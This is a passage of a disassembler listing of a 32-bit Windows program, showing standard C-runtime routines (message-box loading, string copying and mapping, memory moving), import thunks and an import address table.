loc_40464E: ; CODE XREF: sub_404568+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_40465E: ; CODE XREF: sub_404568+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_404568 endp
; =============== S U B R O U T I N E =======================================
sub_404663 proc near ; CODE XREF: sub_4036B9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp ds:dword_407240, ebx
push esi
push edi
jnz short loc_4046B2
push offset aUser32_dll ; "user32.dll"
call ds:dword_405060 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4046E8
mov esi, ds:dword_4050B0
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov ds:dword_407240, eax
jz short loc_4046E8
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov ds:dword_407244, eax
call esi ; GetProcAddress
mov ds:dword_407248, eax
loc_4046B2: ; CODE XREF: sub_404663+Bj
mov eax, ds:dword_407244
test eax, eax
jz short loc_4046D1
call eax
mov ebx, eax
test ebx, ebx
jz short loc_4046D1
mov eax, ds:dword_407248
test eax, eax
jz short loc_4046D1
push ebx
call eax
mov ebx, eax
loc_4046D1: ; CODE XREF: sub_404663+56j
; sub_404663+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call ds:dword_407240
loc_4046E4: ; CODE XREF: sub_404663+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4046E8: ; CODE XREF: sub_404663+1Cj
; sub_404663+33j
xor eax, eax
jmp short loc_4046E4
sub_404663 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4046F0 proc near ; CODE XREF: sub_4036B9+C5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_404773
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_404714
shr ecx, 2
jnz short loc_404781
jmp short loc_404735
; ---------------------------------------------------------------------------
loc_404714: ; CODE XREF: sub_4046F0+1Bj
; sub_4046F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_404742
test al, al
jz short loc_40474A
test esi, 3
jnz short loc_404714
mov ebx, ecx
shr ecx, 2
jnz short loc_404781
loc_404730: ; CODE XREF: sub_4046F0+8Fj
and ebx, 3
jz short loc_404742
loc_404735: ; CODE XREF: sub_4046F0+22j
; sub_4046F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_40476E
dec ebx
jnz short loc_404735
loc_404742: ; CODE XREF: sub_4046F0+2Bj
; sub_4046F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_40474A: ; CODE XREF: sub_4046F0+2Fj
test edi, 3
jz short loc_404764
loc_404752: ; CODE XREF: sub_4046F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_4047E6
test edi, 3
jnz short loc_404752
loc_404764: ; CODE XREF: sub_4046F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_4047D7
loc_40476B: ; CODE XREF: sub_4046F0+7Fj
; sub_4046F0+F4j
mov [edi], al
inc edi
loc_40476E: ; CODE XREF: sub_4046F0+4Dj
dec ebx
jnz short loc_40476B
pop ebx
pop esi
loc_404773: ; CODE XREF: sub_4046F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_404779: ; CODE XREF: sub_4046F0+A9j
; sub_4046F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_404730
loc_404781: ; CODE XREF: sub_4046F0+20j
; sub_4046F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_404779
test dl, dl
jz short loc_4047CB
test dh, dh
jz short loc_4047C1
test edx, 0FF0000h
jz short loc_4047B7
test edx, 0FF000000h
jnz short loc_404779
mov [edi], edx
jmp short loc_4047CF
; ---------------------------------------------------------------------------
loc_4047B7: ; CODE XREF: sub_4046F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_4047CF
; ---------------------------------------------------------------------------
loc_4047C1: ; CODE XREF: sub_4046F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_4047CF
; ---------------------------------------------------------------------------
loc_4047CB: ; CODE XREF: sub_4046F0+ADj
xor edx, edx
mov [edi], edx
loc_4047CF: ; CODE XREF: sub_4046F0+C5j
; sub_4046F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_4047E1
loc_4047D7: ; CODE XREF: sub_4046F0+79j
xor eax, eax
loc_4047D9: ; CODE XREF: sub_4046F0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_4047D9
loc_4047E1: ; CODE XREF: sub_4046F0+E5j
and ebx, 3
jnz short loc_40476B
loc_4047E6: ; CODE XREF: sub_4046F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_4046F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4047EE proc near ; CODE XREF: sub_403BD6+BEp
; sub_403BD6+E6p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_405498
push offset sub_4035A8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp ds:dword_40726C, edi
jnz short loc_404864
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_405448
mov esi, 100h
push esi
push edi
call ds:dword_4050AC ; LCMapStringW
test eax, eax
jz short loc_404842
mov ds:dword_40726C, ebx
jmp short loc_404864
; ---------------------------------------------------------------------------
loc_404842: ; CODE XREF: sub_4047EE+4Aj
push edi
push edi
push ebx
push offset dword_4070C8
push esi
push edi
call ds:dword_4050B4 ; LCMapStringA
test eax, eax
jz loc_40497C
mov ds:dword_40726C, 2
loc_404864: ; CODE XREF: sub_4047EE+2Ej
; sub_4047EE+52j
cmp [ebp+arg_C], edi
jle short loc_404879
push [ebp+arg_C]
push [ebp+arg_8]
call sub_404A12
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_404879: ; CODE XREF: sub_4047EE+79j
mov eax, ds:dword_40726C
cmp eax, 2
jnz short loc_4048A0
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4050B4 ; LCMapStringA
jmp loc_40497E
; ---------------------------------------------------------------------------
loc_4048A0: ; CODE XREF: sub_4047EE+93j
cmp eax, 1
jnz loc_40497C
cmp [ebp+arg_18], edi
jnz short loc_4048B6
mov eax, ds:dword_407264
mov [ebp+arg_18], eax
loc_4048B6: ; CODE XREF: sub_4047EE+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call ds:dword_405084 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_40497C
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_4026C0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_404911
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_404911: ; CODE XREF: sub_4047EE+10Ej
cmp [ebp+var_24], edi
jz short loc_40497C
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call ds:dword_405084 ; MultiByteToWideChar
test eax, eax
jz short loc_40497C
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4050AC ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_40497C
test byte ptr [ebp+arg_4+1], 4
jz short loc_404990
cmp [ebp+arg_14], edi
jz loc_404A0B
cmp esi, [ebp+arg_14]
jg short loc_40497C
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4050AC ; LCMapStringW
test eax, eax
jnz loc_404A0B
loc_40497C: ; CODE XREF: sub_4047EE+66j
; sub_4047EE+B5j ...
xor eax, eax
loc_40497E: ; CODE XREF: sub_4047EE+ADj
; sub_4047EE+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_404990: ; CODE XREF: sub_4047EE+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_4026C0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4049C4
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4049C4: ; CODE XREF: sub_4047EE+1C2j
cmp ebx, edi
jz short loc_40497C
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4050AC ; LCMapStringW
test eax, eax
jz short loc_40497C
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_4049EB
push edi
push edi
jmp short loc_4049F1
; ---------------------------------------------------------------------------
loc_4049EB: ; CODE XREF: sub_4047EE+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4049F1: ; CODE XREF: sub_4047EE+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call ds:dword_4050C0 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_40497C
loc_404A0B: ; CODE XREF: sub_4047EE+165j
; sub_4047EE+188j
mov eax, esi
jmp loc_40497E
sub_4047EE endp
; =============== S U B R O U T I N E =======================================
sub_404A12 proc near ; CODE XREF: sub_4047EE+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_404A2F
loc_404A22: ; CODE XREF: sub_404A12+1Bj
cmp byte ptr [eax], 0
jz short loc_404A2F
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_404A22
loc_404A2F: ; CODE XREF: sub_404A12+Ej
; sub_404A12+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_404A3A
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_404A3A: ; CODE XREF: sub_404A12+21j
mov eax, edx
retn
sub_404A12 endp
; =============== S U B R O U T I N E =======================================
sub_404A3D proc near ; CODE XREF: sub_403DB8+1Fp
arg_0 = dword ptr 4
mov eax, ds:dword_407274
test eax, eax
jz short loc_404A55
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_404A55
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_404A55: ; CODE XREF: sub_404A3D+7j
; sub_404A3D+12j
xor eax, eax
retn
sub_404A3D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404A60 proc near ; CODE XREF: sub_403E83+2EEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_404A80
cmp edi, eax
jb loc_404BF8
loc_404A80: ; CODE XREF: sub_404A60+16j
test edi, 3
jnz short loc_404A9C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_404ABC
rep movsd
jmp ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
loc_404A9C: ; CODE XREF: sub_404A60+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_404AB4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_404ABC+4[eax*4]
; ---------------------------------------------------------------------------
loc_404AB4: ; CODE XREF: sub_404A60+46j
jmp dword ptr ds:loc_404BB8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_404ABC: ; CODE XREF: sub_404A60+31j
; sub_404A60+8Ej ...
jmp ds:off_404B3C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_404AD0
dd offset loc_404AFC
dd offset loc_404B20
; ---------------------------------------------------------------------------
loc_404AD0: ; DATA XREF: sub_404A60+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_404ABC
rep movsd
jmp ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_404AFC: ; DATA XREF: sub_404A60+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_404ABC
rep movsd
jmp ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_404B20: ; DATA XREF: sub_404A60+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_404ABC
rep movsd
jmp ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_404B3C dd offset loc_404B9F ; DATA XREF: sub_404A60:loc_404ABCr
dd offset loc_404B8C
dd offset loc_404B84
dd offset loc_404B7C
dd offset loc_404B74
dd offset loc_404B6C
dd offset loc_404B64
dd offset loc_404B5C
; ---------------------------------------------------------------------------
loc_404B5C: ; CODE XREF: sub_404A60:loc_404ABCj
; DATA XREF: sub_404A60+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_404B64: ; CODE XREF: sub_404A60:loc_404ABCj
; DATA XREF: sub_404A60+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_404B6C: ; CODE XREF: sub_404A60:loc_404ABCj
; DATA XREF: sub_404A60+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_404B74: ; CODE XREF: sub_404A60:loc_404ABCj
; DATA XREF: sub_404A60+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_404B7C: ; CODE XREF: sub_404A60:loc_404ABCj
; DATA XREF: sub_404A60+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_404B84: ; CODE XREF: sub_404A60:loc_404ABCj
; DATA XREF: sub_404A60+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_404B8C: ; CODE XREF: sub_404A60:loc_404ABCj
; DATA XREF: sub_404A60+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_404B9F: ; CODE XREF: sub_404A60:loc_404ABCj
; DATA XREF: sub_404A60:off_404B3Co
jmp ds:off_404BA8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_404BA8 dd offset loc_404BB8 ; DATA XREF: sub_404A60+35r
; sub_404A60+92r ...
dd offset loc_404BC0
dd offset loc_404BCC
dd offset loc_404BE0
; ---------------------------------------------------------------------------
loc_404BB8: ; CODE XREF: sub_404A60+35j
; sub_404A60+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_404BC0: ; CODE XREF: sub_404A60+35j
; sub_404A60+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404BCC: ; CODE XREF: sub_404A60+35j
; sub_404A60+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_404BE0: ; CODE XREF: sub_404A60+35j
; sub_404A60+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404BF8: ; CODE XREF: sub_404A60+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_404C2C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_404C20
std
rep movsd
cld
jmp ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_404C20: ; CODE XREF: sub_404A60+1B1j
; sub_404A60+208j ...
neg ecx
jmp ds:off_404CF0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_404C2C: ; CODE XREF: sub_404A60+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_404C44
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_404C44+4[eax*4]
; ---------------------------------------------------------------------------
loc_404C44: ; CODE XREF: sub_404A60+1D6j
; DATA XREF: sub_404A60+1DDr
jmp ds:off_404D40[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_404C58
dd offset loc_404C78
dd offset loc_404CA0
; ---------------------------------------------------------------------------
loc_404C58: ; DATA XREF: sub_404A60+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_404C20
std
rep movsd
cld
jmp ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_404C78: ; DATA XREF: sub_404A60+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_404C20
std
rep movsd
cld
jmp ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_404CA0: ; DATA XREF: sub_404A60+1F4o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_404C20
std
rep movsd
cld
jmp ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_404CF4
dd offset loc_404CFC
dd offset loc_404D04
dd offset loc_404D0C
dd offset loc_404D14
dd offset loc_404D1C
dd offset loc_404D24
off_404CF0 dd offset loc_404D37 ; DATA XREF: sub_404A60+1C2r
; ---------------------------------------------------------------------------
loc_404CF4: ; DATA XREF: sub_404A60+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_404CFC: ; DATA XREF: sub_404A60+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_404D04: ; DATA XREF: sub_404A60+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_404D0C: ; DATA XREF: sub_404A60+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_404D14: ; DATA XREF: sub_404A60+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_404D1C: ; DATA XREF: sub_404A60+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_404D24: ; DATA XREF: sub_404A60+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_404D37: ; CODE XREF: sub_404A60+1C2j
; DATA XREF: sub_404A60:off_404CF0o
jmp ds:off_404D40[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_404D40 dd offset loc_404D50 ; DATA XREF: sub_404A60+1B7r
; sub_404A60:loc_404C44r ...
dd offset loc_404D58
dd offset loc_404D68
dd offset loc_404D7C
; ---------------------------------------------------------------------------
loc_404D50: ; CODE XREF: sub_404A60+1B7j
; sub_404A60:loc_404C44j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404D58: ; CODE XREF: sub_404A60+1B7j
; sub_404A60:loc_404C44j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404D68: ; CODE XREF: sub_404A60+1B7j
; sub_404A60:loc_404C44j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_404D7C: ; CODE XREF: sub_404A60+1B7j
; sub_404A60:loc_404C44j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_404A60 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404D96 proc near ; CODE XREF: sub_401B1B+33p
jmp ds:dword_405148
sub_404D96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404D9C proc near ; CODE XREF: sub_401B1B+24p
jmp ds:dword_405140
sub_404D9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404DA2 proc near ; CODE XREF: sub_401B1B+7p
jmp ds:dword_405144
sub_404DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404DA8 proc near ; CODE XREF: sub_4034B0+13p
jmp ds:dword_40508C
sub_404DA8 endp
; ---------------------------------------------------------------------------
align 10h
dd 94h dup(0)
dword_405000 dd 77DD189Ah ; DATA XREF: sub_401AED+26r
; sub_40219B+C8r
dword_405004 dd 77DD59F0h ; DATA XREF: sub_40219B+BFr
dword_405008 dd 77E2A571h ; DATA XREF: sub_4020D9+92r
dword_40500C dd 77DD5ECCh ; DATA XREF: sub_401AED+Dr
; sub_40219B+97r
dword_405010 dd 77DD5C55h ; DATA XREF: sub_401AED+1Dr
align 8
dword_405018 dd 77E73167h ; DATA XREF: sub_4010D2+76r
; sub_40126C+8Fr ...
dword_40501C dd 77E6E32Eh ; DATA XREF: sub_401210+52r
; sub_401B59+2ABr
dword_405020 dd 77E6D09Bh ; DATA XREF: sub_401210+31r
dword_405024 dd 77E6E4FDh ; DATA XREF: sub_401210+22r
dword_405028 dd 77E6D071h ; DATA XREF: sub_401210+Er
dword_40502C dd 77E61BE6h ; DATA XREF: sub_40126C+FBr
; sub_401583+4D0r ...
dword_405030 dd 77E6E4C8h ; DATA XREF: sub_401B59+275r
dword_405034 dd 77E99331h ; DATA XREF: sub_401B59+259r
dword_405038 dd 77E7A099h ; DATA XREF: sub_401B59+24Ar
; sub_401F4B+14Dr ...
dword_40503C dd 77E7AC37h ; DATA XREF: sub_401EC0+7Br
; sub_4020D9:loc_40213Ar
dword_405040 dd 77E684C6h ; DATA XREF: sub_401F4B+17Br
dword_405044 dd 77E715F7h ; DATA XREF: sub_401F4B+13r
dword_405048 dd 77E73163h ; DATA XREF: sub_401F4B+Cr
dword_40504C dd 77F5157Dh ; DATA XREF: sub_4020D9+4Er
dword_405050 dd 77E7C2C4h ; DATA XREF: sub_4020D9+48r
dword_405054 dd 77E7751Ah ; DATA XREF: sub_4020D9+5r
dword_405058 dd 77E6BD13h ; DATA XREF: sub_40219B+82r
dword_40505C dd 77E705B0h ; DATA XREF: sub_40219B+28r
dword_405060 dd 77E805D8h ; DATA XREF: sub_404663+12r
dword_405064 dd 77F5722Fh ; DATA XREF: sub_4044B7+28r
dword_405068 dd 77E7980Ah ; DATA XREF: sub_4044B7+76r
; sub_404568+51r
dword_40506C dd 77F516F8h ; DATA XREF: sub_403DE4+2Er
; sub_403E1A+Dr ...
dword_405070 dd 77E6C703h ; DATA XREF: sub_403B30+1Ar
dword_405074 dd 77E7A13Fh ; DATA XREF: sub_403B30+2Fr
dword_405078 dd 77E7849Fh ; DATA XREF: sub_403997+48r
; sub_403BD6+14r
dword_40507C dd 77E7C866h ; DATA XREF: sub_40380C+3Fr
; sub_40380C+12Dr
dword_405080 dd 77E641EBh ; DATA XREF: sub_40380C+59r
; sub_40380C+8Dr
dword_405084 dd 77E77CCEh ; DATA XREF: sub_40380C+C5r
; sub_40380C+11Br ...
dword_405088 dd 77E79D8Ch ; DATA XREF: sub_4036B9+14Ar
dword_40508C dd 77F6183Eh ; DATA XREF: sub_404DA8r
dword_405090 dd 77F51597h ; DATA XREF: sub_403D77+27r
; sub_403E83+2C4r ...
dword_405094 dd 77E79E34h ; DATA XREF: sub_403E83+23Fr
dword_405098 dd 77E7C726h ; DATA XREF: sub_403472+11r
dword_40509C dd 77E76E0Bh ; DATA XREF: sub_403472+2Fr
dword_4050A0 dd 77E78406h ; DATA XREF: sub_4032C7+FFr
; sub_4032C7+166r
dword_4050A4 dd 77E79C3Dh ; DATA XREF: sub_4032C7+158r
; sub_4036B9+143r
dword_4050A8 dd 77E7C931h ; DATA XREF: sub_4032C7+19Dr
dword_4050AC dd 77E781F9h ; DATA XREF: sub_4047EE+42r
; sub_4047EE+14Dr ...
dword_4050B0 dd 77E7A5FDh ; DATA XREF: sub_404663+1Er
dword_4050B4 dd 77E77405h ; DATA XREF: sub_4047EE+5Er
; sub_4047EE+A7r
dword_4050B8 dd 77E77EE1h ; DATA XREF: sub_403195+9r
dword_4050BC dd 77E67702h ; DATA XREF: sub_403195:loc_4031C4r
; sub_403195+E1r
dword_4050C0 dd 77E79924h ; DATA XREF: sub_403195+7Er
; sub_4047EE+20Dr
dword_4050C4 dd 77E7C9E1h ; DATA XREF: sub_403195+CEr
dword_4050C8 dd 77E79F93h ; DATA XREF: sub_40292E+C2r
dword_4050CC dd 77E6177Ah ; DATA XREF: sub_40292E+9Fr
; sub_4032C7+59r
dword_4050D0 dd 77E7C938h ; DATA XREF: sub_40292E+74r
dword_4050D4 dd 77E7C486h ; DATA XREF: sub_40292E+26r
dword_4050D8 dd 77E75CB5h ; DATA XREF: sub_402A49+1Dr
; sub_402C00+91r
dword_4050DC dd 77E616B4h ; DATA XREF: sub_402C00+17r
dword_4050E0 dd 77E79C90h ; DATA XREF: sub_402C00+10r
dword_4050E4 dd 77EB9A84h ; DATA XREF: sub_402CB3+138r
dword_4050E8 dd 77E9C5B1h ; DATA XREF: sub_403195+11Fr
align 10h
dword_4050F0 dd 77D4C96Ah ; DATA XREF: sub_40126C+B7r
; sub_40137D+26r ...
dword_4050F4 dd 77D6ADD7h ; DATA XREF: sub_4020D9+BAr
dd 0
dword_4050FC dd 762211EFh ; DATA XREF: sub_401F4B+25r
dd 0
dword_405104 dd 71AB41DAh ; DATA XREF: sub_401028+10r
dword_405108 dd 71AB3ECEh ; DATA XREF: sub_401EC0+43r
dword_40510C dd 71AB5DE2h ; DATA XREF: sub_401EC0+51r
dword_405110 dd 71AB868Dh ; DATA XREF: sub_401EC0+68r
dword_405114 dd 71AB5690h ; DATA XREF: sub_40137D+179r
; sub_401583+2DDr ...
dword_405118 dd 71AB1AF4h ; DATA XREF: sub_40126C+DEr
; sub_40137D+151r ...
dword_40511C dd 71AB1746h ; DATA XREF: sub_401153+23r
; sub_40126C+27r ...
dword_405120 dd 71AB3C22h ; DATA XREF: sub_401153+50r
; sub_40126C+51r ...
dword_405124 dd 71AB3E5Dh ; DATA XREF: sub_401153+68r
; sub_40126C+6Cr ...
dword_405128 dd 71AB1A6Dh ; DATA XREF: sub_401153+76r
; sub_40126C+105r ...
dword_40512C dd 71AB32CAh ; DATA XREF: sub_4010D2+18r
dword_405130 dd 71AB401Ch ; DATA XREF: sub_4010D2+43r
dword_405134 dd 71AB12F8h ; DATA XREF: sub_401045+8r
; sub_4011D5+7r ...
dword_405138 dd 71AB2BBFh ; DATA XREF: sub_4010D2+29r
; sub_4011D5+1Er ...
align 10h
dword_405140 dd 76D62A58h ; DATA XREF: sub_404D9Cr
dword_405144 dd 76D629BBh ; DATA XREF: sub_404DA2r
dword_405148 dd 76D62A37h ; DATA XREF: sub_404D96r
align 10h
dword_405150 dd 0FFFFFFFFh, 402A05h, 402A19h, 746E7572h, 20656D69h
; DATA XREF: sub_40292E+5o
dd 6F727265h, 2072h, 534F4C54h, 72652053h, 0D726F72h, 0Ah
dd 474E4953h, 72726520h, 0A0D726Fh, 0
